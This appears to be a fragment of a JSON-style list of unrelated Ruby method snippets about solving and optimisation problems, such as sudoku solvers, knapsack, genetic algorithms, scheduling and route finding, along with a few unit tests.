"def find_optimal(rootCode,goalCode)\n\tfindHops(rootCode, goalCode, \n\t\tlambda{|flight,oldweight| \n\t\t\toldweight + (flight.date.date.to_i + (flight.flightDuration).seconds - @date.date.to_i)/1200 + 100 + flight.seatprice/5 \n\t\t\t# oldweight + (number of hours between arrival and departure + 100 (per hop))*3 + seatprice/5 (~25-250)\n\t\t\t})\nend",
"def optimize\n\t\t@bio = Bio.where(:user_id => current_user.id).last \n\t\t@player_pool = params[:player_pool]\n\n\t\t#Call Python or R function to run linear programming optimiziation and return optimal team\n\t\t#Step is skipped for now\n\n\t\t# store team in database\n\t\t# enter transaction into database\n\n\t\trender(\"sports/optimize/\", :notice => \"Successfully optmized one team\")\n\tend",
"def compute_best_score(team, pilots, pilot_contests)\n combination = []\n total = 0.0\n total_possible = 0\n puts 'compute_score TBD'\nend",
"def initialize(solution)\n @solution = solution\n end",
"def solve!\n solve\n self\n end",
"def test_solution_score\n @log.debug(\"This is a test message.\")\n\tfactor = [ Factor.new(\"con\", 3, \"more fat\"), \n\t\t\t Factor.new(\"pro\", 2, \"more protein\") ]\n solution = Solution.new(\"bacon and eggs\", factor)\n \n # Test solution name\n assert_equal(\"bacon and eggs\", solution.name, \"Soluation name is incorrect.\")\n \n # Test solution pros\n pros = solution.pros\n assert_equal(\"pro\", pros[0].pro_or_con, \"Pro factor type is incorrect.\")\n assert_equal(2, pros[0].rating, \"Pro factor rating is incorrect.\")\n assert_equal(\"more protein\", pros[0].description, \n \"Pro factor description is incorrect.\")\n \n # Test solution cons\n cons = solution.cons\n assert_equal(\"con\", cons[0].pro_or_con, \"Con factor type is incorrect.\")\n assert_equal(3, cons[0].rating, \"Con factor rating is incorrect.\")\n assert_equal(\"more fat\", cons[0].description, \n \"Con factor description is incorrect.\")\n\n # Test solution score.\n assert_equal(solution.score, -1, \"Solution score is incorrect.\")\n end",
"def minmax_technique\n possible_solutions = []\n @set.each { |solution|\n possible_solutions << solution if evaluate(@guess, solution) == @feedback_to_evaluation\n }\n @set = possible_solutions\n @guess = @set.sample\n @set.delete(@guess)\n return @guess\n end",
"def solvable?\n find_solution > 0\n end",
"def evalSolution(pop, maxcost, minben)\r\n\r\n results=false \r\n # scan culture for solution\r\n (0...pop.get_population_size).each do |sgenomidx|\r\n\r\n if ( @opts.isWinner(pop.get_sgenome(sgenomidx),maxcost,minben) ) \r\n # we have a winner!\r\n @winner = pop.get_sgenome(sgenomidx) # save \r\n printAnSgenome(pop,sgenomidx) # show \r\n results=true\r\n break\r\n else\r\n results=false\r\n end\r\n\r\n end\r\n results\r\n\r\n end",
"def find_neighboorhood(current_solution_vc)\n # se repite hasta que encuentre un par de valores buenos\n # puts \"vc: \" + current_solution_vc.inspect\n\n # clonar el arreglo\n current_solution = current_solution_vc.clone\n\n begin\n i = rand(current_solution.length)\n j = rand(current_solution.length)\n end while (i == current_solution.first or j == current_solution.first or i == j)\n item1 = current_solution[i]\n swapped_item1 = item1\n item2 = current_solution[j]\n current_solution[i] = item2\n current_solution[j] = swapped_item1\n\n # puts \"vn: \" + current_solution.inspect\n return current_solution\n # puts \"item1: #{item1}\"\n # puts \"item2: #{item2}\"\n\nend",
"def current_solution\n raise NotImplementedError, \"solver subclasses must implement #current_solution\"\n end",
"def run_tests()\n check_solution(1, [1, 4, 10, 13, 15], true)\n check_solution(2, [1, 4, 10, 10, 13, 15], true)\n check_solution(3, [1, 2, 5, 3, 4 ], false)\nend",
"def run_tests()\n check_solution(1, [1, 4, 10, 13, 15], true)\n check_solution(2, [1, 4, 10, 10, 13, 15], true)\n check_solution(3, [1, 2, 5, 3, 4 ], false)\nend",
"def add_solution_if_improvement(solution)\n # Sort existing solutions by expected makespan.\n @solutions.sort_by!(&:expected_makespan)\n # Add it to the set if it's better than the currently worst solution.\n if solution.expected_makespan < @solutions.last.expected_makespan\n @solutions.delete @solutions.last\n @solutions << solution\n true\n else\n false\n end\n end",
"def test_solve_empty_3x3\n square = MagicSquare.new(3)\n square.solve\n assert square.solved?\n assert_equal @@solutions.first, square.solution\n end",
"def solve\n return [] if @current_state.achieved?(@objective)\n return nil if @remaining_rounds <= 0\n\n possible_transformations = @transformations.select { |transformation| @current_state.can_apply?(transformation) }\n\n sorted_transformations = possible_transformations.sort_by do |transformation|\n future_state = @current_state.dup.apply(transformation)\n future_state.distance_of(@objective)\n end\n return nil if sorted_transformations.empty?\n\n sorted_transformations.lazy.map do |transformation|\n elapsed_rounds = @opts[:max_rounds] - @remaining_rounds - 1\n future_state = apply(transformation, elapsed_rounds)\n return nil unless future_state # apply can returns nil in case of error\n\n world = World.new(@transformations, @objective, @remaining_rounds - 1, future_state, @opts)\n res = world.solve\n [transformation] + res if res\n end.select(&:itself).first\n end",
"def optimal_answer?\n \tanswer_value == optimal_value\n end",
"def solve(ingredients, part_two: false)\n score = 0\n max = 0\n\n (0..100).each do |i|\n (0..100 - i).each do |j|\n (0..100 - i - j).each do |k|\n l = 100 - i - j - k\n capacity = calculate_total(ingredients, \"capacity\", i, j, k, l)\n durability = calculate_total(ingredients, \"durability\", i, j, k, l)\n flavor = calculate_total(ingredients, \"flavor\", i, j, k, l)\n texture = calculate_total(ingredients, \"texture\", i, j, k, l)\n calories = calculate_total(ingredients, \"calories\", i, j, k, l)\n\n next if part_two && calories != 500\n next if capacity <= 0 || durability <= 0 || flavor <= 0 || texture <= 0\n\n score = capacity * durability * flavor * texture\n max = score if score > max\n end\n end\n end\n max\nend",
"def solve\n # If the puzzle has already been solved, don't solve it again, just return.\n return self if solved?\n\n # If the puzzle is not valid, we'll error out.\n @algorithm.solve(self) if valid?\n\n self\n # Catch puzzle validity errors\n rescue => e\n puts \"Error: #{e.message}\"\n exit\n end",
"def update_best\n if @best_price < @ep.max\n @best_price = @ep.max\n res_i = @ep.index(@best_price)\n @best_weight = @bw[res_i]\n @best_baggage = in_bag(@cg[res_i])\n end\n end",
"def solve\n if invalid?\n nil\n elsif solved?\n self\n else\n x, y = @strategy.next_cell(@grid)\n\n # Try each of the possible values for cell [x, y] and if one leads to a solution, return that solution\n self[x, y].each do |val|\n next_game = self.clone\n next_game[x, y] = val\n next_solution = next_game.solve\n return next_solution unless next_solution.nil?\n end\n\n # No solution found\n nil\n end\n end",
"def generate_best_pairings(state)\n teams = state.teams\n\n state.matches = state.driver.matches_hash\n\n state.score_range = state.scores.values.max - state.scores.values.min\n state.average_score_difference = state.score_range / teams.length.to_f\n\n state.team_index_map = teams.map.with_index.to_h\n\n Algorithm::Matching.minimum_weight_perfect_matching(teams) do |home_team, away_team|\n cost_function(state, home_team, away_team)\n end\n end",
"def run_once(solution, cost, graph)\n LKTour.init_graph(graph)\n LKPath.init_graph(graph)\n @@graph = graph\n tour = LKTour.new(solution, cost)\n while timer.ellapsed < limit\n new_tour = optimize_tour(tour, timer, limit)\n unless new_tour.nil?\n return new_tour.as_solution\n end\n end\n return tour.as_solution\n end",
"def hook_solution?(a); end",
"def solved(ans)\n\n end",
"def first_puzzle a\n # write down your solution to puzzle 1 here\nend",
"def solve(puzzle = @puzzle)\n #make sure we have unknown spaces\n puts \"SOLVE CALLED\"\n puzzle.propogate_constraints\n puts puzzle.present\n if puzzle.solved?\n puts \"SOLVED\"\n return puzzle\n elsif puzzle.invalid?\n puts \"INVALID\"\n return false\n else\n puts \"PUZZLE NOT SOLVED AND PUZZLE NOT INVALID\"\n new_copy = copy(puzzle)\n puts new_copy.present\n\n unknown = new_copy.spaces.select { |space| !space.known? }\n space_to_guess = unknown.sort { |a, b| a.possibilities.size <=> b.possibilities.size } [0]\n puts \"#{space_to_guess}\"\n guess = space_to_guess.possibilities.to_a[0]\n puts \"Assigning #{guess} to #{space_to_guess.coords}\"\n new_copy.assign(space_to_guess, guess)\n puts new_copy.present\n if(solve(new_copy))\n return new_copy\n else\n puts \"eliminating #{guess} from #{space_to_guess.coords}\"\n puzzle.eliminate(puzzle.get_space(space_to_guess.coords), guess)\n puzzle.propogate_constraints\n solve(puzzle)\n end\n end\n end",
"def resolve(instance)\n if(instance.fragments.count == 0)\n #return no solution result\n ResultInstance.new\n else\n #sort fragments by \"left\" attribute\n fragments = instance.fragments.sort\n result = ResultInstance.new\n #set initial limit to 0 and best fragment to nil\n limit = 0\n bestFragment = nil\n #for each fragment...\n fragments.each do |fragment|\n \n #if current fragments \"left\" is greater than current limit, then ...\n if(fragment.left > limit)\n #if best fragment is set ...\n #puts \"bestFragment != nil: #{bestFragment != nil}\"\n if(bestFragment != nil)\n #increase limit to best fragments right\n limit = bestFragment.right\n #add the best fragment to the result (its union with already used fragments will be a single interval)\n result.addFragment(bestFragment)\n\n #set best fragment back to nil\n bestFragment = nil\n #and if the current limit is greater or equal to required \"m\" value, then the solution is found (it is current result)\n if(limit >= instance.m)\n return result\n end\n #if best fragment is not set, current instance has no solution (current set of used fragments covers smaller section of X-axis than required and there is no fragment, that would extend it)\n else\n\n result.clear\n return result\n end\n end\n \n \n if(bestFragment != nil)\n #improve best fragment if it covers greater interval from the current limit\n bestFragment = fragment if(fragment.right > limit && fragment.right > bestFragment.right)\n else\n #set current fragment as best fragment only if its \"left\" is less or equal to current limit and \"right\" is greater than current limit\n bestFragment = fragment if(fragment.left <= limit && fragment.right > limit)\n end\n \n end\n if(bestFragment != nil)\n result.addFragment(bestFragment)\n if(bestFragment.right < instance.m)\n result.clear\n end\n else\n result.clear\n end\n result\n end\n end",
"def initial_solution\n loop do\n # clear solution after each iteration\n @solution = []\n vertices = shuffle_and_slice_vertices\n generate_routes(vertices, @depot).each { |route| @solution << route }\n break if routes_are_correct?\n end\n end",
"def find_solution\n @solution = Solution.find(params[:id])\n end",
"def optimize(params)\n plan = SemesterPlan.find(params[:id])\n users = User.users_of_plan_pure plan\n empty_hours = false\n if users.any?\n users.each do |user|\n if user.hours == 0 || user.hours == nil\n empty_hours = true\n end\n\n end\n\n end\n if !empty_hours\n case params[\"optimisation\"][\"kind\"]\n when \"0\"\n if plan.solution.nil?\n empty_slots = []\n plan.time_slots.each_with_index do |n, index|\n empty_slots << {index: index, user: nil, co: nil, slot: n.id}\n end\n plan.update(solution: empty_slots)\n end\n flash[:success] = \" Manuelle Planerstellung eingeleitet\"\n redirect_to valid_path User.find(params[:id]), show_new: true\n when \"1\"\n flash[:success] = \" Gültiger Plan wurde erstellt.\"\n sol = valid_solution2(false)\n plan.update(solution: \"#{mutate_pairs(plan, sol)}\")\n\n if feasible plan.solution\n plan.update(solution: \"#{valid_solution2(true)}\")\n end\n redirect_to valid_path User.find(params[:id]), show_new: true\n when \"2\"\n plan.update(solution: \"#{heuristic (plan)}\")\n if feasible plan.solution\n plan.update(solution: \"#{valid_solution2 true}\")\n end\n flash[:success] = \" 2 verlinkt!\"\n redirect_to valid_path User.find(params[:id]), show_new: true\n end\n else\n flash[:danger] = \"Abbruch: Ein Nutzer hat keine Stunden eingetragen!\"\n redirect_to semester_plan_path plan\n\n end\n end",
"def getNumberOfSolutions; @solutions.length; end",
"def valid_solution2 co_support\n # Randomgenerator\n rnd = Random.new\n\n # current plan to slove\n plan = SemesterPlan.find(params[:id])\n\n # prioritys for slots and user\n # sorts slots by user availability\n # sorts user by slot availibiluity\n slot_priority_origin = plan.get_slot_priority\n user_priority_origin = plan.get_user_priority\n\n\n # empty slots to empty solution_slots at each itteration begin\n empty_slots = []\n if co_support\n empty_slots = eval(plan.solution)\n else\n 20.times do |n|\n empty_slots << {index: n, user: nil, co: nil, slot: nil}\n end\n end\n\n # break variable\n done = false\n\n # availabilty which will be max accepted\n if co_support\n availability = 2\n else\n availability = 1\n end\n\n # saves itterations\n i = 0\n\n # iteration border for availibility to increase to 2\n i_av_2 = 400\n\n # iteration_border for interrupt\n i_max = 800\n\n # saves the solution\n solution_slots = []\n\n # until all slots are valid taken\n start = Time.now\n begin\n # counter for open slots\n slots = 20\n\n # clear solution\n solution_slots = empty_slots.clone\n\n # clone prioritys and shift-plans\n slot_priority = slot_priority_origin.clone\n user_priority = user_priority_origin.clone\n shifts = User.supporter_amount_of_shifts(20, User.where(planable: true, inactive: false))\n\n # set break variable to false\n done = false\n\n # repeat until plan invalid or complete plan valid\n while slot_priority.length != 0 && !done\n\n # random wheel for all slot prioritys\n roulette = calc_roulette slot_priority\n\n\n # random float\n random = rnd.rand\n slot = nil\n\n # take random slot\n roulette.each do |roul|\n if roul[:value] > random\n slot = slot_priority[roul[:index]]\n break\n end\n end\n\n # saves the found user\n found_user = nil\n # return all user with given availbility in current slot\n users = TimeSlot.find(slot[:slot]).get_users availability\n\n # if at least 1 user found\n if users.length != 0\n\n # break conditions\n found = false\n nothing = true\n\n # tests all slots\n user_priority.each do |pr_user|\n if !found\n\n # tests all available users\n users.each do |slot_user|\n\n # if user is found and in earlier iterations no user was found for this slot\n if (pr_user[:user] == slot_user && !found) &&(co_support && solution_slots.detect {|s| s[:index] == slot[:index]}[:user] !=slot_user || !co_support)\n\n\n # saves user for slot\n if co_support\n solution_slots.detect {|s| s[:index] == slot[:index]}[:co] = slot_user\n solution_slots.detect {|s| s[:index] == slot[:index]}[:slot] = slot[:slot]\n else\n solution_slots.detect {|s| s[:index] == slot[:index]}[:user] = slot_user\n solution_slots.detect {|s| s[:index] == slot[:index]}[:slot] = slot[:slot]\n end\n\n\n\n # set\n found = true\n found_user = pr_user\n\n # update shifts\n shifts = User.reduce_shifts found_user[:user], shifts\n\n # remove user from slot_priority and delete user from user_priority\n # if all shifts are given\n shifts.each do |s|\n if s[:user] == found_user[:user]\n if s[:shifts] == 0\n slot_priority = SemesterPlan.kill_user_in_slot_priority found_user[:user], slot_priority\n user_priority.delete(found_user)\n end\n end\n end\n\n # delete slot and sort\n slot_priority.delete(slot)\n slot_priority.sort_by! {|item|\n item[:priority] * -1\n }\n # removes slot from user_priority and sort\n user_priority = SemesterPlan.kill_slot_in_user_priority slot[:slot], user_priority\n user_priority.sort_by! {|item|\n item[:priority] * -1\n }\n\n # decrement slots and set nothing to false for next iteration\n slots -= 1\n nothing = false\n break\n end\n end\n end\n end\n\n # break if no slot was found\n if nothing == true\n done = true\n end\n # break if no user was found\n else\n done = true\n end\n end\n # break if iteration max is reached\n if Time.now - start > 10\n done = true\n\n # increment aǘailbility\n elsif Time.now - start > 2\n if availability != 2\n availability = 2\n else\n #availability = 1\n end\n end\n\n # increment iteration\n i += 1\n end while slots > 0 && Time.now - start <=10\n\n # update solution and return it additionally (r)\n solution_slots\n\n end",
"def best_strategy(state)\n build_best(state.pile_size)\n puts \"Good states=#{@good_states}\"\n tgts = targets(state.pile_size)\n tgts.each do |tg|\n op = state.op_to(tg, @ops) \n return op if op\n end\n nil\n end",
"def step(debug=false)\n\n # make sure we don't step beyond the solution\n return nil if done?\n\n t0 = Time.now\n @nb_iter += 1\n\n puts \"+++iteration #{@nb_iter}+++\" if debug\n puts \"nb problems = #{@pb_list.length}\" if debug\n\n best_pb = @pb_list.shift\n @rejected_grids.push(best_pb.grid)\n\n puts \"best problem:\" if debug\n puts best_pb.show_stats if debug\n\n if best_pb.min_depth == 1 then\n\n # we can create a problem with all the steps included at once\n new_steps = []\n best_pb.each_poss(1) do |poss|\n new_steps.push(Step.new(poss.row, poss.col, poss.first))\n end\n @nb_try += 1\n begin\n child = Sudoku.new(best_pb.grid, best_pb.steps, new_steps)\n #if the new problem is a dead-end, discard it\n if child.max_poss == 0 and not child.complete? then\n puts \"No solution possible for best problem, discard it\" if debug\n @rejected_grids.push(child.grid)\n @nb_discard += 1\n #avoid duplicates\n elsif @pb_list.include?(child)\n @nb_dup += 1\n elsif @rejected_grids.include?(child.grid)\n # this problem has been processed before\n @nb_discard += 1\n else\n @pb_list.push(child)\n end\n rescue RuntimeError\n # the combination of depth=1 solution caused a conflict\n puts \"Impossible solution for best problem, discard it\" if debug\n @nb_discard += 1\n end\n else\n\n # we will just process the problem that reduce the most the possibilities\n # on its row, col and box\n poss_list = best_pb.sorted_poss { |x, y| x.min_poss <=> y.min_poss }\n poss = poss_list[0]\n poss.each do |v|\n @nb_try += 1\n new_steps = [Step.new(poss.row, poss.col, v)]\n child = Sudoku.new(best_pb.grid, best_pb.steps, new_steps)\n #if the new problem is a dead-end, discard it\n if child.max_poss == 0 and not child.complete? then\n puts \"No solution possible for best problem, discard it\" if debug\n @rejected_grids.push(child.grid)\n @nb_discard += 1\n #avoid duplicates\n elsif @pb_list.include?(child)\n @nb_dup += 1\n elsif @rejected_grids.include?(child.grid)\n # this problem has been processed before\n @nb_discard += 1\n else\n @pb_list.push(child)\n end\n end\n end\n\n # resort the list by max_poss / min_dof\n @pb_list.sort! do |x,y|\n res = x.max_poss <=> y.max_poss\n res = x.dof <=> y.dof if res == 0\n res\n end\n\n @duration += Time.now - t0\n\n #return the solution if we have one\n if @pb_list.empty? then\n return nil\n else\n return @pb_list[0]\n end\n\n end",
"def brute_force_optimal(tg,faulty,replacements,n)\n if tg[1].size == 0 # special case if there are no edges(all replacements are equal)\n return get_mappings(faulty,replacements)[0] # return the first mapping\n end\n get_mappings(faulty,replacements).min_by do |a|\n euclidean_distance(tg,a,n) \n end\nend",
"def step0(debug=false)\n\n # make sure we don't step beyond the solution\n return nil if done?\n\n t0 = Time.now\n @nb_iter += 1\n\n puts \"+++iteration #{@nb_iter}+++\" if debug\n puts \"nb problems = #{@pb_list.length}\" if debug\n\n best_pb = @pb_list.shift\n @rejected_grids.push(best_pb.grid)\n\n puts \"best problem:\" if debug\n puts best_pb.show_stats if debug\n\n if best_pb.min_depth == 1 then\n\n # we can create a problem with all the steps included at once\n new_steps = []\n best_pb.each_poss(1) do |poss|\n new_steps.push(Step.new(poss.row, poss.col, poss.first))\n end\n @nb_try += 1\n begin\n child = Sudoku.new(best_pb.grid, best_pb.steps, new_steps)\n #if the new problem is a dead-end, discard it\n if child.max_poss == 0 and not child.complete? then\n puts \"No solution possible for best problem, discard it\" if debug\n @rejected_grids.push(child.grid)\n @nb_discard += 1\n #avoid duplicates\n elsif @pb_list.include?(child)\n @nb_dup += 1\n elsif @rejected_grids.include?(child.grid)\n # this problem has been processed before\n @nb_discard += 1\n else\n @pb_list.push(child)\n end\n rescue RuntimeError\n # the combination of depth=1 solution caused a conflict\n puts \"Impossible solution for best problem, discard it\" if debug\n @nb_discard += 1\n end\n else\n\n # we need to create a new problem for each possibility\n best_pb.each_poss(best_pb.min_depth) do |poss|\n poss.each do |v|\n @nb_try += 1\n new_steps = [Step.new(poss.row, poss.col, v)]\n child = Sudoku.new(best_pb.grid, best_pb.steps, new_steps)\n #if the new problem is a dead-end, discard it\n if child.max_poss == 0 and not child.complete? then\n puts \"No solution possible for best problem, discard it\" if debug\n @rejected_grids.push(child.grid)\n @nb_discard += 1\n #avoid duplicates\n elsif @pb_list.include?(child)\n @nb_dup += 1\n elsif @rejected_grids.include?(child.grid)\n # this problem has been processed before\n @nb_discard += 1\n else\n @pb_list.push(child)\n end\n end\n end\n end\n\n # resort the list by max_poss / min_dof\n @pb_list.sort! do |x,y|\n res = x.max_poss <=> y.max_poss\n res = x.dof <=> y.dof if res == 0\n res\n end\n\n @duration += Time.now - t0\n\n #return the solution if we have one\n if @pb_list.empty? then\n return null\n else\n return @pb_list[0]\n end\n\n end",
"def best_problem\n return nil if @pb_list.empty?\n @pb_list[0]\n end",
"def start_solution plan\n solutions = []\n 15.times do\n s = mutate_pairs plan, valid_solution2(false)\n solutions << s\n end\n\n #0.times do\n # s = random_solution plan\n #end\n\n 10.times do\n s = structured_solution plan\n solutions << mutate_pairs(plan, s)\n end\n sort_soluitons plan, solutions\n end",
"def solved?\n self.fittest.fitness >= 1.0\n end",
"def find_best(inputs, runner)\n best_settings, best_output = inputs, 0\n inputs.permutation.each do |p|\n amps = make_amps(p)\n amps[0].send_input(0)\n output = runner.call(amps)\n #output = amps.last.read_output\n if output && output > best_output\n best_output = output\n best_settings = p\n end\n end\n return best_settings, best_output\nend",
"def run(solution, cost, graph, timer, limit)\n LKTour.init_graph(graph)\n LKPath.init_graph(graph)\n @@graph = graph\n tour = LKTour.new(solution, cost)\n while timer.ellapsed < limit\n new_tour = optimize_tour(tour, timer, limit)\n unless new_tour.nil?\n tour = new_tour\n end\n end\n return tour.as_solution\n end",
"def run_tests\n check_solution(1, (100..200).to_a, 135, 35)\n check_solution(2, [13, 19, 24, 29, 32, 37, 43], 35, -1)\nend",
"def solve(func)\n # setup population\n if @start_population.nil?\n population = Array.new(@population_size) do\n # generate random genotype according to the chromosome type\n { :genotype => @genotype_space.get_random }\n end\n else\n population = @start_population.map do |x|\n { :genotype => x }\n end\n end\n\n # initialize variables\n gen = 0\n overall_best = nil\n\n population_mutex = Mutex.new\n\n # default behavior is to loop forever\n begin\n gen += 1\n @logger.info(\"GA - Starting generation #{gen}\") if @logger\n\n # create latch to control program termination\n latch = Concurrent::CountDownLatch.new(@population_size)\n\n # assess fitness for every member of the population\n population.each do |s|\n @pool.post do\n # do we need to syncronize this call through population_mutex?\n # probably not.\n ret = func.call(s[:genotype])\n\n # protect write access to population struct using mutex\n population_mutex.synchronize do\n s[:fitness] = ret\n end\n\n # update latch\n latch.count_down\n end\n end\n\n # wait for all the threads to terminate\n latch.wait\n\n # find fittest member\n population_best = population.max_by {|x| x[:fitness] }\n\n # calculate overall best\n if overall_best.nil?\n overall_best = population_best\n else\n overall_best = [ overall_best, population_best ].max_by {|x| x[:fitness] }\n end\n\n # print results\n puts \"> gen #{gen}, best: #{overall_best[:genotype]}, #{overall_best[:fitness]}\" unless @quiet\n\n # execute controller\n @controller.call(self, overall_best) if @controller\n\n # selection by binary tournament\n children = new_generation(population)\n\n # update population and generation number\n population = children\n end while @exit_condition.nil? or !@exit_condition.call(gen, overall_best)\n\n # return best sample\n overall_best\n end",
"def attempt_solution(row, col)\n end",
"def set_solution\n # @solution = Solution.find(params[:id])\n @solution = @goal.solutions.find(params[:id])\n end",
"def naive_solution(step_by_step = false)\n while grid.has_zeros?\n naked_single\n print_grid if step_by_step\n end\n raise StandardError, 'Something went wrong!' unless grid.valid?\n unless step_by_step\n grid.calculate_possible_values! # This is to avoid printing the last step\n print_grid\n end\n puts \"------ Solved! ------\\n\\n\"\n rescue\n raise StandardError, 'Something went wrong!' unless grid.valid?\n boxed_single\n print_grid if step_by_step\n naive_solution\n end",
"def find_solution(currently_satisfied, remaining_mappings)\n currently_satisfied = currently_satisfied.dup\n # Note that we will not be modifying the Sets that are the values of remaining_mappings so dup will work well enough\n remaining_mappings = remaining_mappings.dup\n\n # Base case:\n if remaining_mappings.size.zero?\n return currently_satisfied\n end\n\n target_opcode, target_opnames = remaining_mappings.sort_by { |k, v| v.size }.first\n\n opname_options = target_opnames - currently_satisfied.values\n # If no opname options left (and still have remaining mappings), then this branch is not valid\n if opname_options.size.zero?\n return false\n end\n\n # Try out each opname that is not currently in use\n opname_options.each do |opname|\n currently_satisfied[target_opcode] = opname\n remaining_mappings.delete(target_opcode)\n\n # Result will be false if there is no solution\n result = find_solution(currently_satisfied, remaining_mappings)\n return result if result\n end\n\n false\nend",
"def best_result(triplet)\n triplet.max\nend",
"def selection plan, solutions\n (sort_soluitons plan, solutions.shuffle.first(4)).first(2)\n end",
"def solution \n row_search \n columns_search \n diagonal_search\n end",
"def findMaximum(weights)\n\t\n\tputs \"Weights\" if DEBUG_OUTPUT\n\tprintMatrix(weights) if DEBUG_OUTPUT\n\t# l(x) == l[x]\n\t\t\n\teq = EqualityGraph.new(weights)\n\teq.generateLabelFunctions()\n\t\n\t#Generate equality graph\n\t\n\teq.generateEqualityGraph()\n\t\n\t#Pick an abitrary matching in the equality subgraph\n\t\n\teq_match = MatchGraph.new(eq.x_vertices, eq.y_vertices)\n\t\n\teq.initialMatch(eq_match)\t\n\t\n\tputs \"Equality Match\\n#{eq_match.to_s}\" if DEBUG_OUTPUT\n\t\n\t#puts \"Is Equality Match perfect? #{eq_match.isPerfectMatch}\" if DEBUG_OUTPUT\n\t\t\t\n\tuntil(eq_match.isPerfectMatch)\n\t\t#Pick a free vertex in X\n\t\tfreeX = eq_match.get_free_x_vertex\n\t\t\n\t\teq_match.alt_tree_x_nodes.push(freeX)\n\t\t\t\n\t\tputs \"\\nMAJOR STEP Picked a free X: #{freeX}\" if DEBUG_OUTPUT\n\t\t\n\t\ts_vertices = [ freeX ]\n\t\tt_vertices = Array.new\n\t\t\n\t\t#Though sets s and t should be enough, will keep track of the alternating paths \n\t\t#originating at freeX\n\t\t\n\t\t\n\t\ts_neighbors = eq.get_neighbors_of_x_vertices(s_vertices).to_set\n\t\t\n\t\ts_neighbors_not_in_t = s_neighbors.to_a\n\t\t\n\t\tuntil(false)\n\t\t\tputs \"S = #{s_vertices.to_a} N(S) = #{s_neighbors.to_a} T= #{t_vertices.to_a}\" if DEBUG_OUTPUT\n\t\t\t\t\n\t\t\tif s_neighbors.size == t_vertices.size\n\t\t\t\tputs \"\\nSTEP No more s_neighbors to process, growing eq\" if DEBUG_OUTPUT\n\t\t\t\told_size = s_neighbors.size\n\t\t\t\t\n\t\t\t\teq.growEqualityGraph(s_vertices, t_vertices, s_neighbors, s_neighbors_not_in_t)\n\t\t\t\t\n\t\t\t\traise \"s neighbors did not increase\" if s_neighbors.size <= old_size\t\t\t\t\t\t\n\t\t\telse\n\t\t\t\tputs \"\\nSTEP Picking a new Y not yet in T from S neighbors\" if DEBUG_OUTPUT\n\t\t\t\t#pick y\n\t\t\t\ty = s_neighbors_not_in_t.pop #(s_neighbors - t_vertices).find { true } \n\t\t\t\tif eq_match.is_y_vertex_free(y)\n\t\t\t\t\t#Reset S and T\n\t\t\t\t\traise \"T and S are out of wack\" if s_vertices.size != t_vertices.size + 1\t\t\t\t\t\n\t\t\t\t\teq_match = growMatch(y, eq_match, eq, freeX)\n\t\t\t\t\tputs \"Grew match Equality Graph was #{eq}\" if DEBUG_OUTPUT\n\t\t\t\t\tbreak\n\t\t\t\telse\n\t\t\t\t\tputs \"y[#{y}] is matched\" if DEBUG_OUTPUT\n\t\t\t\t\tnew_s_node = growTree(s_vertices, t_vertices, y, eq, eq_match)\n\t\t\t\t\t\n\t\t\t\t\tnew_s_neighbors = eq.get_neighbors_of_x_vertices( [new_s_node] )# - t_vertices\n\t\t\t\t\ts_neighbors.merge( new_s_neighbors )\n\t\t\t\t\t#new_s_neighbors could intesect with t\n\t\t\t\t\ts_neighbors_not_in_t = (s_neighbors - t_vertices).to_a\n\t\t\t\tend\n\t\t\tend \n\t\tend\n\tend\n\t\n\tputs \"Sum is #{eq_match.sumEdgeWeights(weights)}\" if DEBUG_OUTPUT\n\t\n\treturn eq_match.sumEdgeWeights(weights)\nend",
"def findBestIn(x, n, h, step, loops)\n #set initial\n best = trainAndValidate(x, n, h, step)\n for i in 2..loops\n trained = trainAndValidate(x, n, h, step)\n if trained.ann < best.ann\n best = trained\n end\n end\n best\nend",
"def isWinner(possible_solution, maxc, minben)\r\n\r\n (0...@optionSize).each do |idx|\r\n calcWeightAndValue(possible_solution)\r\n\r\n if (@sum_weight <= maxc && @sum_value >= minben )\r\n return true\r\n end\r\n\r\n end\r\n\r\n false\r\n\r\n end",
"def calculate_subsolutions\n @subsolutions = Array.new(@items.size+1) { Array.new(@max_weight+1) }\n @subsolutions[0].map!{|value| 0}\n (1..@items.size).each { |i|\n (0..@max_weight).each { |j|\n # case 1. Item i excluded, no additional weight added to knapsack\n value1 = @subsolutions[i-1][j]\n # case 2. Item i is included, requires adding item's weight to knapsack\n value2 = (@items[i-1].weight<=j) ? (@items[i-1].value + @subsolutions[i-1][j-@items[i-1].weight]) : -1\n # a total value stored in a knapsack, when i items and j max_knapsack_weight\n @subsolutions[i][j] = (value1>value2) ? value1 : value2\n }\n }\n @max_value = @subsolutions[@items.size][@max_weight]\n end",
"def DFS_solution\n\n\t\t# Checking if I got the final solution\n\t\tif @graph.solution?\n\t\t\tif DEBUG\n\t\t\t\tputs \"Solution found:\\n#{@graph.plot_graph}\"\n\t\t\tend\n\t\t\treturn 0\n\t\tend\n\n\t\t# If not i'll find which are the possible next actions from this state\n\t\t# and iterates on them.\n\t\tresult = -1\n\t\t@graph.find_next_actions\n\t\tif DEBUG\n\t\t\tputs \"Un-A -> #{@graph.get_current_node.get_unexplored_actions}\"\n\t\tend\n\t\t# TODO Make this correct, i am skipping a level in the structures\n\t\t@graph.get_current_node.get_unexplored_actions.each do |i|\n\t\t\t# I have to create a new node starting from the current one and \n\t\t\t# knowing the action we have chosen\n\t\t\t@graph.next_state( i )\n\t\t\tresult = self.DFS_solution\n\t\t\t# With break I have to pass over all the calls in the recursive\n\t\t\t# stack, with return it skips all these steps.\n\t\t\t# break if result == 0\n\t\t\treturn 0 if result == 0\n\t\tend\n\n\t\t# If I get here means that with this configuration I will not get to a\n\t\t# solution, so I have to delete what I did in this step.\n\t\t# I'll delete the last positioned Queen, replacing it with a nil.\n\t\tunless result == 0\n\t\t\tif DEBUG\n\t\t\t\tputs \"BACKWARD!\"\n\t\t\tend\n\t\t\t@graph.delete_last_action\n\t\t\treturn -1 \n\t\tend\n\n\tend",
"def optimize(weight)\r\n return 0 if weight <= 0\r\n\r\n best = nil\r\n $items.each do |item|\r\n c = optimize(weight - item.weight) + item.cost\r\n best = c if best.nil? || c < best\r\n end\r\n best\r\nend",
"def update_p_best\r\n return unless @fitness > p_best_fitness\r\n\r\n @p_best_fitness = @fitness\r\n @p_best_position = @position\r\n end",
